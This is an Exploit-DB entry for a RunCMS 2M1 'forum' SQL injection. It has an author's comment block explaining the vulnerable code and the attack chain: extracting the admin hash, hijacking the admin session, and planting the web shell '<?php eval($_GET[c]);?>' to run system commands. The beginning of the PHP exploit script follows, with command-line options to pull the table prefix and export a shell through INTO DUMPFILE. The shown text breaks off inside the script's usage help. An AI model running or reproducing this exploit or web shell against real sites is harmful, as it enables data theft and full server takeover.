Exploit-DB #33307
Description: RunCMS - 'forum' SQL Injection
Type: webapps
Platform: php
Date: 2009-10-26
Author: Nine:Situations:Group::bookoo

Exploit:
source: https://www.securityfocus.com/bid/36816/info

RunCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

<?php
    /*
    RunCms v.2M1 /modules/forum/post.php - 'forum' remote semi-blind SQL Injection Exploit
    by Nine:Situations:Group::bookoo
    site: http://retrogod.altervista.org/

    software site: http://www.runcms.org/

    vulnerable code in /modules/forum/post.php near lines 16-34 :

    ...
    if ( empty($_POST['forum']) ) {
    redirect_header("index.php", 2, _MD_ERRORFORUM);
    exit();
    }
    else if ( empty($_POST['message']) ) {
    redirect_header("javascript:history.go(-1)", 2, _MD_ERRORMESSAGE);
    exit();
    }
    else {
    $sql = "SELECT * FROM ".$bbTable['forums']." WHERE forum_id = ".$_POST['forum'].""; // <-------- !!!
    if (!$result = $db->query($sql)) {
    redirect_header("index.php", 2, _MD_CANTGETFORUM);
    exit();
    }
    ...

    'forum' variable is taken from $_POST[] array and inserted in a sql query without
    prior santization and without being surrounded by quotes.
  Then you can subsequently manipulate this query in /modules/forum/class/class.permissions.php by
passing
    another 'UNION SELECT' as first argument of the 'UNION SELECT' passed to post.php
    (a little bit complex uh? $forum_id is user controlled ...)

    100-102:
    ...
    if ($user_id > 0) {
    $sql = "SELECT * FROM ".$bbTable['forum_access']." WHERE forum_id=$forum_id AND user_id=$user_id";
    ...

    the result is that you can extract the sha1 hash of the admin user and the corrispondent salt.
    If you cannot decrypt the hash... you can always hijack an active session (meaning the admin user
    must be logged in) by building the admin cookie, no check ex. on ip address.

    To do that you need the table prefix. A default one does not exist, but exists a
    'suggested one' when installing the cms, which is 'runcms', but an empty one is not allowed.
    However with MySQL 5.0 you can have the table prefix by interrogating information_schema.TABLES

    This whole thing works regardless of php.ini settings but you need:

    - a valid user account

    Register!

    - an existing row in [prefix]_forum_forums table
    - an existing row in [prefix]_forum_forum_access table

    which is very possible against a runcms installation with a working and active forum.

    Also, you could manipulate the query in post.php to export a php shell through
    'INTO DUMPFILE' method, but you need FILE privilege and magic_quotes_gpc = off.

    It's also possible to disclose absolute path in certain conditions (see error_reporting)
    by polluting a preg_match() argument:

    http://[host]/[path_to_runcms]/modules/contact/index.php?op[]=1
    http://[host]/[path_to_runcms]/userinfo.php?uid[]=1


    Final notes:
    This sql injection vulnerability has to be considerated as high risk because as ADMIN you
    can inject php code by the Filter/Banning functionalities, ex:

    click 'Administration Menu', then 'System Admin', then click on the Filters/Banning icon,
    then 'Prohibited: Emails'
    Now you can edit the /modules/system/cache/bademails.php file
    Type in:

    <?php eval($_GET[c]);?>

    then you launch commands:

    http://[host]/[path_to_runcms]/modules/system/cache/bademails.php?c=system(dir);

    you can do the same with all filter utilities ...

    */

    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";

    function my_header() {
        print
("\x52\x75\x6e\x43\x6d\x73\x20\x76\x2e\x32\x6d\x31\x20\x2f\x6d\x6f\x64\x75\x6c\x65\x73\x2f\x66\x6f\x72\x75\x6d\x2f\x70\x6f\x73\x74\x2e\x70\x68\x70\x20\x2d\x20\x27\x
66\x6f\x72\x75\x6d\x27\x20\x72\x65\x6d\x6f\x74\x65\x20\x73\x65\x6d\x69\x2d\x62\x6c\x69\x6e\x64\x20\x53\x51\x4c\x20\x49\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x20\x45\x78\x
70\x6c\x6f\x69\x74\x20\xd\xa\x62\x79\x20\x4e\x69\x6e\x65\x3a\x53\x69\x74\x75\x61\x74\x69\x6f\x6e\x73\x3a\x47\x72\x6f\x75\x70\x3a\x3a\x62\x6f\x6f\x6b\x6f\x6f\xd\xa\x
73\x69\x74\x65\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x72\x65\x74\x72\x6f\x67\x6f\x64\x2e\x61\x6c\x74\x65\x72\x76\x69\x73\x74\x61\x2e\x6f\x72\x67\x2f\xd\xa\n");
    }
    my_header();
    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
             print("[*] curl loaded\n");
        } else {
  !dl("php_curl.so") ? die($err[1]) :
             print("[*] curl loaded\n");
        }
    }

    function syntax() {
        print (
        "Syntax: php ".$argv[0]." [host] [path] [user] [pass] [OPTIONS] \n". "Options:
                                                      \n". "--port:[port]         - specify a port
                                    \n". "                        default->80
                  \n". "--prefix              - try to extract table prefix from information.schema
\n". "                        default->runcms                                     \n".
"--proxy:[host:port]   - use proxy                                           \n". "--skiptest
     - skip preliminary tests                              \n". "--test                - run only
tests                                      \n". "--export_shell:[path] - try to export a shell with
INTO DUMPFILE, needs Mysql\n". "                        FILE privilege
        \n". "Examples:   php ".$argv[0]." 192.168.0.1 /runcms/ bookoo pass               \n". "
        php ".$argv[0]." 192.168.0.1 / bookoo pas